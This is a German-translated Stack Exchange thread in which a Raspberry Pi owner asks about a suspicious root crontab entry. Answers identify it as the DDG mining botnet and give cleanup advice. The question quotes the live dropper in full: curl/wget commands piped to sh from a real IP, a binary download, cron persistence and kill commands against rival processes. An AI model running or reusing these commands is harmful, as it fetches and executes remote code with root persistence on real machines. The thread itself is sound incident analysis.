Verdächtiger Crontab-Eintrag, der alle 15 Minuten 'xribfa4' ausführt

59

Ich wollte etwas zu meiner Root-Crontab-Datei auf meinem Raspberry Pi hinzufügen und habe einen Eintrag gefunden, der mir verdächtig erscheint. Bei der Suche nach Teilen davon bei Google ist nichts aufgetaucht.

Crontab-Eintrag:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

Die Inhalte von http://103.219.112.66:8000/i.shsind:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

Mein Linux-Wissen ist begrenzt, aber für mich scheint es nicht üblich zu sein, Binärdateien von einem indonesischen Server herunterzuladen und sie regelmäßig als Root auszuführen.

Was ist das? Was sollte ich tun?

Peter Dam
quelle
16
Es ist kreisförmig. Alle 15 Minuten wird eine neue Kopie von sich selbst heruntergeladen und installiert. Wenn / wenn die Kopie auf dem Remote-Server geändert wird, führen alle Server, auf denen dieser Cronjob ausgeführt wird, innerhalb von 15 Minuten den neuen Code aus.
Wildcard
5
Ist Ihre Himbeer-Pi offen für das Internet? Was läuft dein Himbeer-Pi? Dies ist das einzige Ergebnis auf Google, wenn ich nach xribfa4 suche. Wenn Sie keine Software ausführen, die dies erfordert, handelt es sich wahrscheinlich um einen Virus.
Kemotep
6
@kemotep diese Zeichenfolge ist zufällig, aber Google für die IP und es gibt ein paar Ergebnisse. Etwas über ein ddg Mining Botnet
Frostschutz
9
Ich habe es gefunden. Es ist verrückt, dass die IP auf einer Website der indonesischen Regierung registriert ist. Es sieht auch so aus, als gäbe es fast 2000 andere IPS, die diese Nutzlast liefern.
Kemotep
21
Das Wichtigste, was Sie wissen müssen, ist, dass Ihr System höchstwahrscheinlich immer noch die Schwachstelle aufweist, die es ermöglicht hat, dass es infiziert wird, selbst wenn Sie diesen crontab-Eintrag entfernen. Sie müssen diese Sicherheitsanfälligkeit finden und beheben.
Hans-Martin Mosner

Antworten:

79

Es ist ein DDG-Mining-Botnetz, wie es funktioniert:

  1. Ausnutzen einer RCE-Schwachstelle
  2. Ändern der Crontab
  3. Herunterladen des entsprechenden Mining-Programms (geschrieben mit go)
  4. Starten des Mining-Prozesses

DDG: Ein Mining-Botnet, das auf Datenbankserver abzielt

SystemdMiner, wenn ein Botnetz die Infrastruktur eines anderen Botnetzes ausleiht

U & L: Wie kann ich Minerd-Malware auf einer AWS EC2-Instanz entfernen? (kompromittierter Server)

GAD3R
quelle
4
Ja, es scheint tatsächlich so. Vielen Dank! Wird dies als Antwort markieren, wenn nichts Neues auftaucht.
Peter Dam
8
Vergessen Sie nicht die üblichen Ratschläge für eine verwurzelte Maschine: Versuchen Sie herauszufinden, wie sie hineingekommen sind, damit Sie das Loch reparieren können. Lernen Sie daraus und erhöhen Sie Ihre Sicherheit. Schließlich nuke und installieren Sie die Maschine neu.
März
3
Die gute Nachricht ist, dass sie anscheinend keinen Bergmann für den Pi haben, nur für i686 und x86_64.
Mark
13
@ Mark Wie ist das gute Nachricht? Jemand erlangte die volle Kontrolle über seinen Pi über einen unbekannten Einstiegspunkt und hatte vollen Zugriff auf alle Geheimnisse auf dem Pi (einschließlich, aber nicht beschränkt auf Passwörter). Ob der Bergmann läuft oder nicht, liegt im Bereich der "kleinen Unannehmlichkeiten".
März
4
@marcelm, der Angreifer erlangte die volle Kontrolle darüber und hat dann mit ziemlicher Sicherheit nichts Wichtiges mit dieser Kontrolle gemacht.
Mark
2

Stellen Sie fest, welche TCP- und UDP-Ports tatsächlich benötigt werden, und blockieren Sie dann alle anderen Ports in der Firewall Ihres Routers. Möglicherweise werden diese Crontab-Einträge nicht wieder angezeigt.

Mit Shields Up! Können Sie sehen, welche Ports offen und öffentlich sind. Funktion bei grc.com .

Mike Waters
quelle
5
Oder er könnte die Schwachstelle ausbessern.
Harper - Setzen Sie Monica
1
@ Harper Absolut! Das ist eine gegebene. Ich dachte, dass, ohne die nicht verwendeten Ports zuerst zu blockieren, sie möglicherweise erneut infiziert werden könnten, während er versuchte, sie zu patchen.
Mike Waters
1
Relevanter Kommentar von security.SE: security.stackexchange.com/questions/147770/…
Wildcard
1
Dies gilt jedoch nicht nur für TCP und UDP. Ein positives Sicherheitsmodell, eine Whitelist oder die Standardeinstellung "Verweigern" - lehnen Sie jeglichen Datenverkehr ab, den Sie nicht explizit verwenden oder benötigen. Nur so können Sie sicherstellen, dass keines Ihrer Löcher dem Eindringen von Daten ausgesetzt ist.
Antichris